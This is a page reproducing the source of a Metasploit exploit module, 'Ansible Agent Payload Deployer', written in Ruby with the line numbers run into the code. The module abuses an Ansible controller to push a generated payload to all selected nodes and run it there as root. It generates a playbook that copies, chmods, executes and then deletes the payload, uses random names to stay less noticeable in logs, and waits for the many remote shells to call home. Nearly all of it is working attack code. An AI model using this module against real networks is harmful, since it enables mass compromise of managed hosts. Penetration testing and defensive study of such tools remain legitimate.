Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/local/ansible_node_deployer.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = GoodRanking78include Msf::Post::File9include Msf::Exploit::EXE10include Msf::Exploit::FileDropper11include Msf::Exploit::Local::Ansible1213prepend Msf::Exploit::Remote::AutoCheck1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Ansible Agent Payload Deployer',20'Description' => %q{21This exploit module creates an ansible module for deployment to nodes in the network.22It creates a new yaml playbook which copies our payload, chmods it, then runs it on all23targets which have been selected (default all).24},25'License' => MSF_LICENSE,26'Author' => [27'h00die', # msf module28'n0tty' # original PoC, analysis29],30'Platform' => [ 'linux' ],31'Stance' => Msf::Exploit::Stance::Passive,32'Arch' => [ ARCH_X86, ARCH_X64 ],33'SessionTypes' => [ 'shell', 'meterpreter' ],34'Targets' => [[ 'Auto', {} ]],35'Privileged' => true,36'References' => [37[ 'URL', 'https://github.com/n0tty/Random-Hacking-Scripts/blob/master/pwnsible.sh'],38[ 'URL', 'https://web.archive.org/web/20180220031610/http://n0tty.github.io/2017/06/11/Enterprise-Offense-IT-Operations-Part-1'],39],40'DisclosureDate' => '2017-06-12', # pwnsible script but prob way before that41'DefaultTarget' => 0,42'Passive' => true, # this allows us to get multiple shells calling home43'Notes' => {44'Stability' => [CRASH_SAFE],45'Reliability' => [REPEATABLE_SESSION],46'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]47}48)49)50register_options [51OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),52OptString.new('HOSTS', [ true, 'Which ansible hosts to target', 'all' ]),53OptBool.new('CALCULATE', [ true, 'Calculate how many boxes will be attempted', true ]),54OptString.new('TargetWritableDir', [ true, 'A directory where we can write files on targets', '/tmp' ]),55OptInt.new('ListenerTimeout', [ true, 'The maximum number of seconds to wait for new sessions', 60 ])56]57end5859def module_contents(payload_name)60# The `name` field in `tasks` is a required field, and it gets logged, so randomizing may be a little too obvious, I've opted for just numbers in this case.61"- name: #{Rex::Text.rand_text_numeric(3..6)}62hosts: #{datastore['HOSTS']}63remote_user: root64tasks:65- name: 166ansible.builtin.copy:67src: #{datastore['WritableDir']}/#{payload_name}68dest: #{datastore['TargetWritableDir']}/#{payload_name}69- name: 270ansible.builtin.file:71path: #{datastore['TargetWritableDir']}/#{payload_name}72owner: root73group: root74mode: '0700'75- name: 376command: #{datastore['TargetWritableDir']}/#{payload_name}77- name: 478file:79path: #{datastore['TargetWritableDir']}/#{payload_name}80state: absent81"82end8384def check85return CheckCode::Safe('Ansible does not seem to be installed, unable to find ansible executable') if ansible_playbook_exe.nil?8687CheckCode::Appears('ansible playbook executable found')88end8990def ping_hosts_print91results = ping_hosts92if results.nil?93print_error('Unable to parse ping hosts results')94return95end9697columns = ['Host', 'Status', 'Ping', 'Changed']98table = Rex::Text::Table.new('Header' => 'Ansible Pings', 'Indent' => 1, 'Columns' => columns)99100count = 0101results.each do |match|102table << [match['host'], match['status'], match['ping'], match['changed']]103count += 1 if match['ping'] == 'pong'104end105print_good(table.to_s) unless table.rows.empty?106# give the user a few seconds to cancel if its too many etc107print_good("#{count} ansible hosts were pingable, and will attempt to execute payload. If this isn't an expected volume (too many), ctr+c to halt execution. Pausing 10 seconds.")108Rex.sleep(10)109end110111def exploit112# Make sure we can write our exploit and payload to the local system113fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" unless writable? datastore['WritableDir']114ping_hosts_print if datastore['CALCULATE']115116payload_name = rand_text_alphanumeric(5..10)117module_name = rand_text_alphanumeric(5..10)118119print_status('Creating yaml job to execute')120yaml_file = "#{datastore['WritableDir']}/#{module_name}.yaml"121write_file(yaml_file, module_contents(payload_name))122register_file_for_cleanup(yaml_file)123print_status('Writing payload')124upload_and_chmodx "#{datastore['WritableDir']}/#{payload_name}", generate_payload_exe125register_file_for_cleanup("#{datastore['WritableDir']}/#{payload_name}") # cleanup payload on host, not targets126print_status('Executing ansible job')127resp = cmd_exec("#{ansible_playbook_exe} #{yaml_file}")128playbook_log = store_loot('ansible.playbook.log', 'text/plain', session, resp, 'ansible.playbook.log', 'Ansible playbook log')129print_good("Stored run logs to: #{playbook_log}")130# stolen from exploit/multi/handler131stime = Time.now.to_f132timeout = datastore['ListenerTimeout'].to_i133loop do134break if timeout > 0 && (stime + timeout < Time.now.to_f)135136Rex::ThreadSafe.sleep(1)137end138end139140end141142143